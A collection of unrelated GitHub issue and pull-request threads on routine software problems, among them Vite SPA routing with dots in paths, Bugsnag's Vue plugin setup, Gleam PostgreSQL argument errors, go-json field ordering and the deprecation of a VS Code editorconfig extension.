This PR adds a CSS tweak to fix a scrolling issue in the My Collection Artworks List component.
Before:

After:

PR Checklist (tick all before merging)

[x] I have included screenshots or videos to illustrate my changes, or I have not changed anything that impacts the UI.
[x] I have added tests for my changes, or my changes don't require testing, or I have included a link to a separate Jira ticket covering the tests.
[x] I have documented any follow-up work that this PR will require, or it does not require any.
[x] I have added an app state migration, or my changes do not require one. (What are migrations?)

#trivial

LGTM 👍
#mergeOnGreen


Duration and curve for FocusTraversalPolicy

Use case
I want to be able to set the duration and curve for animated scrolling to the focused element inside FocusTraversalPolicy.
Proposal
Add duration and curves to ** FocusTraversalPolicy and pass this to the _focusAndEnsureVisible method

CC @gspencergoog


upgrade numpy

Fix version incompatibility issue
TypeError: 'numpy._DTypeMeta' object is not subscriptable

upgrade numpy to 1.23.4


[Vue plugin] Not getting a Vue tab in dashboard.

Bugsnag is working and displaying errors, but I don't have a Vue tab in the dashboard
This is  the end of my main.js file
Bugsnag.start({ apiKey: '[mykey]', plugins: [new BugsnagPluginVue(Vue)] })
/* Bugsnag.getPlugin('vue').installVueErrorHandler(Vue) */

new Vue({
  router,
  store,
  render: h => h(App)
}).$mount("#app")

The installVueErrorHandler is commented because if I keep it, I get this warning :
bugsnag-vue.js:27 [bugsnag] installVueErrorHandler() was called unnecessarily
and anyway, it changes nothing.
Bugsnag is greate without this vue tab, of course, but since you're telling me I should have one, I'm curious :)

Hey @guillaumejay, the Vue tab will only be shown if the error is thrown from a Vue component. I'm not sure how you're throwing a test error in this case, but if you're not seeing the Vue tab, but have the Vue plugin installed, I'd suspect it's because it's not an error coming from a Vue component?
If for example you were to put the following code into one of your .vue files:

This is going to break.. {{ msg.ohno.thishasnoreference }}

...

You'll see the following error pop up in Bugsnag, which does contain the Vue tab:

The installVueErrorHandler is commented because if I keep it, I get this warning :
bugsnag-vue.js:27 [bugsnag] installVueErrorHandler() was called unnecessarily

The call to installVueErrorHandler() is only needed if you don't specify the Vue component when you apply the Bugsnag Vue plugin, which you are currently doing.
In essence, you can do either:
Bugsnag.start({ apiKey: 'API_KEY', plugins: [new BugsnagPluginVue(Vue)] })

or, lazily install the Vue plugin later, once it has initialized.
Bugsnag.start({ apiKey: 'API_KEY', plugins: [new BugsnagPluginVue()] })

// Later, when Vue is loaded and ready...
Bugsnag.getPlugin('vue').installVueErrorHandler(Vue)

If you're still experiencing issues, let us know at<EMAIL_ADDRESS>and we'll take a look into your configuration to see if we can find why this is not working for you.


dot in path breaks reload

Describe the bug
In an app using an SPA router such as react-router-dom, when a dot exists in the path, one cannot link directly to that page or reload that page because it results in a 404 error.
I couldn't find any documentation on how to override that so it will follow a pattern such as checking if the file exists first and if not, then always falling back to the index.html file.
Reproduction
https://github.com/dusty/vitejs-path
import React from "react";
import { BrowserRouter, Link, Route, Switch } from "react-router-dom";
import { Item } from "./Item";

function App() {
  return (
    <BrowserRouter>

          <Link to="/items/1">Item 1</Link>
          <Link to="/items/1.1" style={{ marginLeft: "10px" }}>
            Item 1.1
          </Link>

      <Switch>
        <Route path="/items/:id">
          <Item />
        </Route>
      </Switch>
    </BrowserRouter>
  );
}

export default App;

System Info
vite/2.0.3 darwin-x64 node-v15.7.0
Logs (Optional if provided reproduction)
  vite:spa-fallback Not rewriting GET /items/1.1 because the path includes a dot (.) character. +3m
  vite:time 1ms   /items/1.1 +3m

Take a look at this issue: https://github.com/vitejs/vite/issues/2190, the plugin linked in the last comment might solve your issue: https://www.npmjs.com/package/vite-plugin-rewrite-all

cool, thanks @jonaskuske

I can confirm that this worked for me.


Update forbidden apis plugin to 3.5.1

This version replaces the internalRuntimeForbidden flag with a bundle named jdk-non-portable The newer version also uncoverd an issue in SingleFileLdifPartition where the RandomAccessFile uses the system file encoding. The error has been suppressed with an annotation for now. Updating the plugin will help ensure other code doesn't creep in.
NOTE: The @SupressForbidden annotation is needed at compile time, but not runtime, so it has been marked provided (as there are reports of some plugins, like the maven-shade-plugin, not excluding "optional" dependencies)

@bdemers Are you going to merge it?

🤦 Sorry, I forgot about this one, I'll rebase and retest and i'll merge it


capz-sysext: add regular sysext demo

In this PR we add two demos:

Cluster API Azure with Flatcar sysext
Cluster API Azure with AKS + Flatcar sysext nodes pool

I've added a commit with some scripting / automation for ease of use. Scripting is similar to my automation in CAPO-sysext but is not finished.

Automation is now fully operational and uses Marketplace images. After the CAPZ PR got merged I'll again update the automation to not use a custom template.


"exception error: no function clause matching" when query arguments not matching with execute args

When I run the query in the program attached below I get an exception that seems to originate from Erlang.
gleam run
  Compiling psqltest
   Compiled in 0.18s
    Running psqltest.main
exception error: no function clause matching
                 gleam_pgo_ffi:convert_error(badarg) (/Users/jaras/code/psqltest/build/dev/erlang/gleam_pgo/_gleam_artefacts/gleam_pgo_ffi.erl, line 71)
  in function  gleam_pgo_ffi:query/3 (/Users/jaras/code/psqltest/build/dev/erlang/gleam_pgo/_gleam_artefacts/gleam_pgo_ffi.erl, line 68)
  in call from gleam@pgo:execute/4<EMAIL_ADDRESS>line 193)
  in call from psqltest:main/0 (/Users/jaras/code/psqltest/build/dev/erlang/psqltest/_gleam_artefacts/psqltest.erl, line 25)

the issue I found was that token and expires was swapped in the sql statement, when those were swapped back it worked as expected.
import gleam/bit_array
import gleam/dynamic
import gleam/io
import gleam/pgo

pub fn main() {
  let db =
    pgo.connect(
      pgo.Config(
        ..pgo.default_config(),
        host: "localhost",
        database: "gleam_test",
        pool_size: 10,
      ),
    )

  let sql =
    "INSERT INTO sessions (user_id, token, expires) VALUES ($1, $2, $3) RETURNING id"

  let result =
    pgo.execute(
      sql,
      db,
      [
        pgo.int(3),
        pgo.timestamp(#(#(1, 2, 3), #(4, 5, 6))),
        pgo.bytea(bit_array.from_string("token")),
      ],
      dynamic.element(0, dynamic.int),
    )

  io.debug(result)
}

-- auto-generated definition
CREATE TABLE sessions
(
    id      bigserial
        PRIMARY KEY,
    token   bytea                                  NOT NULL
        UNIQUE,
    user_id integer                                NOT NULL,
    expires timestamp WITH TIME ZONE DEFAULT NOW() NOT NULL
);

ALTER TABLE sessions
    OWNER TO dkjanras;

CREATE INDEX sessions_token_index
    ON sessions (token);

Thanks for the report! I've been digging into this and I think it's a bug with PGO. I've opened an issue for it.


New build silently released: 2.65.5313.1381 64-bit (December 2018)

I just noticed there is a new build of Power BI Desktop that was silently released (not prompting to update, no info in blog).  It's dated 16 Jan 2019, but Options/Diagnostics shows: 2.65.5313.1381 64-bit (December 2018).  By my count that's at least the 4th build released labelled "December 2018" - some kind of record.
I haven't done much with it yet but it hasn't obviously broken (or fixed) anything ... can anyone share any insight?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ba6a76e2-8d94-5e76-bfb6-971c3b2c7c85
Version Independent ID: f7bd2111-3bb0-fb08-0f23-a31efd407f66
Content: What's new in the latest Power BI Desktop update? - Power BI
Content Source: powerbi-docs/desktop-latest-update.md
Service: powerbi
GitHub Login: @davidiseminger
Microsoft Alias: davidi

Well @Mike-Honey - that's probably an issue we need to look into. Adding another assignee to ferret that out and see what's happening. Thanks for posting!

Hey @Mike-Honey usually when we release new builds but don't announce anything, it means the release has some minor bug fixes we didn't want to wait for the next month to ship. In the case of December, there was more than normal since we didn't do a Jan release of Power BI Desktop. You can always update if you want, but assuming you weren't hitting any issues, you don't HAVE to update. You could wait until the next monthly major release.


Can't download histroy

Hey, Can someone help me download the channel history this is my config
`[auth]
email    =<EMAIL_ADDRESS>password = ***
[general]
skip edits                           = true
download tistory sites               = false
max download retries                 = 5
download timeout                     = 60
send notices to interactive channels = false
[channels]
703088344057380*** = C:\Users***\Downloads
[interactive channels]
703088344057380*** = C:\Users***\Downloads\history`
I have been PM ing my other account with no response.
Acc1 Today at 1:17 AM
help
history
help
Acc2 Today at 1:25 AM
help
history

If you head looked at any other issues you would know its broken. Really dude, learn to read.

I found a work around, When you type "history ChanelID#1, ChannelID#1" it does work! for some reason it just doesn't see the first channelID

@SysAdminSteve you ok now? or you still need help?

Hey I have the same Issue but sending history ChannelID,SameChannelID doesn't work for me

Does the bot give you an answer?
not working:

working:

alr @Leavoh @QuantenQuentchen 2 options you send screenshots of the config file (censor all data) and send it here or in my alt accs dms
maybenotabot#0013 just add me i will respond asap

Sorry I was AFK for about 2 hours.
the Bot doesn't respond at all. But it downloads newly postet images

Yeah I know I did that

there are lots of tutorials, follow those and then apply the history ID,ID to make it work.

https://youtu.be/H3R27U7ac5Y


Don't follow symlinks

When I use eg task.execute_remotely(queue_name="default"), remote job fails, because the agent follows symlinks after git clone. Why? Following symlinks are problem in some repos:

symlinks may point to files that don't yet exist
symlinks may point to superdirectories (the agent symlink following then also fails because it makes a loop)

Hi @iirekm
Just making sure I understand the problem, the git repo contains soft-links to files/folders.
When cloning on a remote machine (i.e. with trains-agent) the clone process itself fails, is that correct?
Could you provide the log itself (i.e. the Task log executed by the trains-agent) ?


Nuget Package with no dependency gets no reference in csproj file

I use the package Blend.Interactivity.Silverlight and it seems it has in its nuspec file no dependency definition. It seems that this is the reason why it got not added to the csproj file.
I would recommend to add it with
<Choose> <When Condition="True"> ... </When> </Choose>

du you have the contents of the nuspec for me?

<?xml version="1.0"?>
<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd">
<metadata>
<id>Blend.Interactivity.Silverlight</id>
<version>2.0.20520.0</version>
<authors>Microsoft</authors>
<owners>Miguel</owners>
<requireLicenseAcceptance>false</requireLicenseAcceptance>
<description>Microsoft Expression Blend 4 includes new built-in behaviors, which are reusable pieces of packaged code that can be dragged onto any object, and then fine-tuned by changing their properties.</description>
<summary>Microsoft Expression Blend 4 includes new built-in behaviors, which are reusable pieces of packaged code that can be dragged onto any object, and then fine-tuned by changing their properties. Behaviors allow you to add interactivity to your applications without having to write any code. The Behavior API consists of three core classes: Trigger, Action and Behavior. This SDK explores how to write each of these components, and contains a few code samples to help you get started. Programming reference topics are provided for Microsoft Silverlight. For more how-to and overview information about behaviors in Expression Blend, see the Expression Blend User Guide, available when you install Expression Blend 4.</summary>
<language>en-US</language>

^^ seems there is something missing
is this the full file?

just corrected the markdown

I can reproduce.

should be fixed

Seems to work.
The following package is now working as well: LinFu.DynamicProxy.OfficialRelease.

This really saved me. Thanx.


Support fork points with listed and unlisted commits

It resolves #449
Should we add a custom renderer to render each commit with its hash and message?

In spite of the above issues, this feature looks nice 🙂 I think we could have it soon

@zmerr if you could wrap up this PR before proceeding with traverse (as this PR requires like an order of magnitude less work to complete 😅)

@vzmerr I am gonna take this PR from you :)

☝🏻 pls use @zmerr, @vzmerr is no longer active
If you Ina have some unpushed work her since y'day, pls push

I think it looks pretty good

Wow it's so f**king ~big~ wide:

Use commit subject, not full message

@zmerr, thank you for starting and doing most of the work with this one!

@zmerr, thank you for starting and doing most of the work with this one!

Thanks Mikolaj, but I guess you were the one who ended up doing most of the hard work 😊🎊congrats🎉


Marshal fields in alphabetical order

When changes are made to struct fields(added/removed/reordered) in Go code, the order of fields is preserved in marshalled content. This causes issues when we want to compare marshalled content, for example old and new code, while we have the same values, yet we end up with different result. Or if we have json from external source, comparing the json itself will always fail to match.
Hence, I think that struct fields should be alphabetically ordered and always marshalled that way to avoid messing with results when in reality the order of fields defined in Go should have no impact on the end-result.
Maps are handled that way, i see no reason why struct fields themselves could not behave the same.
package main

import (
	"github.com/goccy/go-json"
)

type Foo struct {
	One   string `json:"one"`
	Two   string `json:"two"`
	Three string `json:"three"`
}

type Bar struct {
	Three string `json:"three"`
	Two   string `json:"two"`
	One   string `json:"one"`
}

func main() {
	f := Foo{
		One:   "1",
		Two:   "2",
		Three: "3",
	}

	data, _ := json.Marshal(f)
	println(string(data))

	b := Bar{
		One:   "1",
		Two:   "2",
		Three: "3",
	}

	data, _ = json.Marshal(b)
	println(string(data))
}

result:
{"one":"1","two":"2","three":"3"}
{"three":"3","two":"2","one":"1"}

This is especially problematic when we're using json as storage format and some time passes, code changes, and we want to compare with some old records and suddenly we get different json. That forces us to unmarshal the old json and either marshal it again with new struct and compare them or simply compare unmarshalled struct..instead of just marshalling new struct and comparing bytes with old json, not having to do anything with it.
Not to mention that any hash will also change and won't match the old hash even though the content is the same, but is not put/marshalled in the same order.
That is also why other formats, like protocol buffers use ordering for their fields so the format does not change if new fields are added or order of fields defined in she schema is mixed.

The solution is trivial.
in encoder, turn this
func (c *Compiler) typeToStructTags(typ *runtime.Type) runtime.StructTags {
	tags := runtime.StructTags{}
	fieldNum := typ.NumField()
	for i := 0; i < fieldNum; i++ {
		field := typ.Field(i)
		if runtime.IsIgnoredStructField(field) {
			continue
		}
		tags = append(tags, runtime.StructTagFromField(field))
	}
	return tags
}

into this:
func (c *Compiler) typeToStructTags(typ *runtime.Type) runtime.StructTags {
	tags := runtime.StructTags{}
	fieldNum := typ.NumField()
	for i := 0; i < fieldNum; i++ {
		field := typ.Field(i)
		if runtime.IsIgnoredStructField(field) {
			continue
		}
		tags = append(tags, runtime.StructTagFromField(field))
	}
	sort.Slice(tags, func(i, j int) bool {         <-------
		return tags[i].Key < tags[j].Key       <-------
	})                                             <-------
	return tags
}

which will produce:
{"one":"1","three":"3","two":"2"}
{"one":"1","three":"3","two":"2"}

One caveat might be sorting json tags that start with integer, so instead of 1foo, 2foo, 3foo, 11foo, 12foo it would produce 1foo, 11foo, 12foo, 2foo, 3foo. But that can be mitigated by better sorting library than the native or just dedicated comparator.

🤨


support Leptos v0.5

closing this issue, as far as I am aware, leptosfmt already supports 0.5. Feel free to re-open if I am missing anything.


Any intention of merging this effort with editorconfig/editorconfig-vscode?

Seems like forces could join together for one super effort?
https://github.com/editorconfig/editorconfig-vscode/issues/11

It's up to Microsoft, but I'm open to the idea of a "transfer ownership" if we can clear up some confusion or updating the readme to deprecate this one in favor of the more-maintained one.

(Chiming in since @chrisdias  is out.)
@rhbecker @jedmao we have implemented vscode-editorconfig and several other extensions to validate the extension API. The goal is to give users a great editorconfig extension that is actively maintained. We just need to coordinate the transition and how to deprecate the existing one. For example:

document the editorconfig extension situation in the Readme of the existing extension
do one more update to the existing editorconfig extension that informs users (shows an info message on activation) to migrate to the other extension.

Other ideas?

@egamma, that's exactly how I would do it.

OK - then let's discuss this with @chrisdias when he is back next week.

:+1: on the plan, will work on this after skiing :)

updated readme...  still need to update extension.

Readme updated on my end too: https://github.com/editorconfig/editorconfig-vscode/commit/e625d829629bca4180aae2f74dff35ee31377288

With a74f6778864445b58c63f42dca906f3b359d280f we now show an informational prompt with a link to the readme, which tells folks to uninstall this extension and install the latest from editorconfig !

Thanks @chrisdias! I just tested everything out and I think this is a very good way to inform the user.


[GHI] Fix/lisf75 foc mr

Description
Added new FOC files for GHI_MR; patched LIS to ensure 557WW streamflow convention data are read from config file.

@emkemp
This PR looks good to me.  Should someone on the AF project review before accepting?

Thanks @cmclaug2.  It looks good to me too.